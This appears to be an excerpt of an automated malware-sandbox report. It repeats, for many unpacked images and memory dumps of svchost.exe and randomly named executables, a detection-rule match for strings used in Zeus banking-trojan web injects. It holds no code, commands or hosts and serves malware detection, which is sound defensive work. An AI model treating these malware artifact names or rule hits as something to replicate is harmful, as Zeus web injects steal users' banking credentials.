Source: 2.3.svchost.exe.b00000.47.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 27.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.3040000.2.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.29a2000.2.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.d580000.10.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.8.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.43.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.22.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.44.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 6.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.1240000.2.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.46.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.16.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.3.UMwpXhA46R.exe.7031e8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.52.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.31.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.2c70000.4.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.27.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 11.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2ea2000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 36.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.15b0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.47.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 16.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2b80000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.2.UMwpXhA46R.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.28.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.33.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.46.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.23.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.13.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.30.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.2.UMwpXhA46R.exe.407000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.42.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.29f3c00.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.15.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 30.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.27a0000.2.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.2cd1c00.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.55.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 33.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2672000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 7.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.1040000.2.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 16.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2af2000.1.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.42.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 24.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.24f2000.1.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.54.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 19.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2d80000.2.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 21.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2ca0000.2.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.2.UMwpXhA46R.exe.406400.1.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 9.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.a20000.2.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.407000.1.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.29.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.886000.2.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.51.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.37.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 9.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.9c2000.1.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 30.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.25f2000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 16.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2b80000.2.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.51.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 24.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2560000.2.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.18.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.48.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 27.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2e82000.1.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.37.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.3.UMwpXhA46R.exe.7081e8.1.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.f380000.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.22.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.9.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.18.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.27.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.24.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 7.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.1040000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 6.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.11e2000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.26.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.3.UMwpXhA46R.exe.7031e8.2.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.35.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 21.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2ab2000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.54.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.41.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.3.UMwpXhA46R.exe.708de8.0.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3c40000.17.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.35.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.25.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.886c00.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.41.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.32.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 36.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.1552000.1.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.407000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 27.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.3040000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.2.UMwpXhA46R.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.31.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.44.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.15.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.39.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 19.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.11d2000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 9.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.9c2000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.24.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.19.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.38.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.3.UMwpXhA46R.exe.7081e8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.29a2000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.2.UMwpXhA46R.exe.407000.0.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 21.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2ab2000.1.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.12.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.7.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 27.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2e82000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.881000.1.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 19.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2d80000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.40.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2a50000.6.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.43.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.48.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.32.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2a50000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.55.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 39.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.d30000.2.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000018.00000002.2707315071.0000000002560000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2774994198.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2776615679.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000002.3416553301.00000000029A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000021.00000002.2737098756.0000000002670000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000021.00000002.2735290502.0000000000B00000.00000040.00000010.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000015.00000002.2694402665.0000000002AB0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2809572996.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2784640433.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2575291599.000000000F380000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2612530811.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2544138671.000000000D580000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000013.00000002.2647909784.0000000002D80000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2775654849.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2587965689.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000002.3402365018.0000000000400000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000002.3417374807.0000000002CD1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2793511340.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2763018604.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2754985393.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000018.00000002.2705436372.00000000024F0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000015.00000002.2699555610.0000000002CA0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000006.00000002.2605884801.00000000011E0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2786368119.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000000.00000003.2148607507.0000000000703000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000001B.00000002.2725518370.0000000002E80000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2776797358.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2763556222.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000009.00000002.2610626005.0000000000A20000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2775373199.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2522335301.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000010.00000002.2611939403.0000000002AF0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2519685174.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2763964877.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000007.00000002.2632861320.0000000000FE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000027.00000002.2871812715.0000000000CD0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000001E.00000002.2759598984.00000000025F0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2808903395.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2761135252.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000010.00000002.2612614586.0000000002B80000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
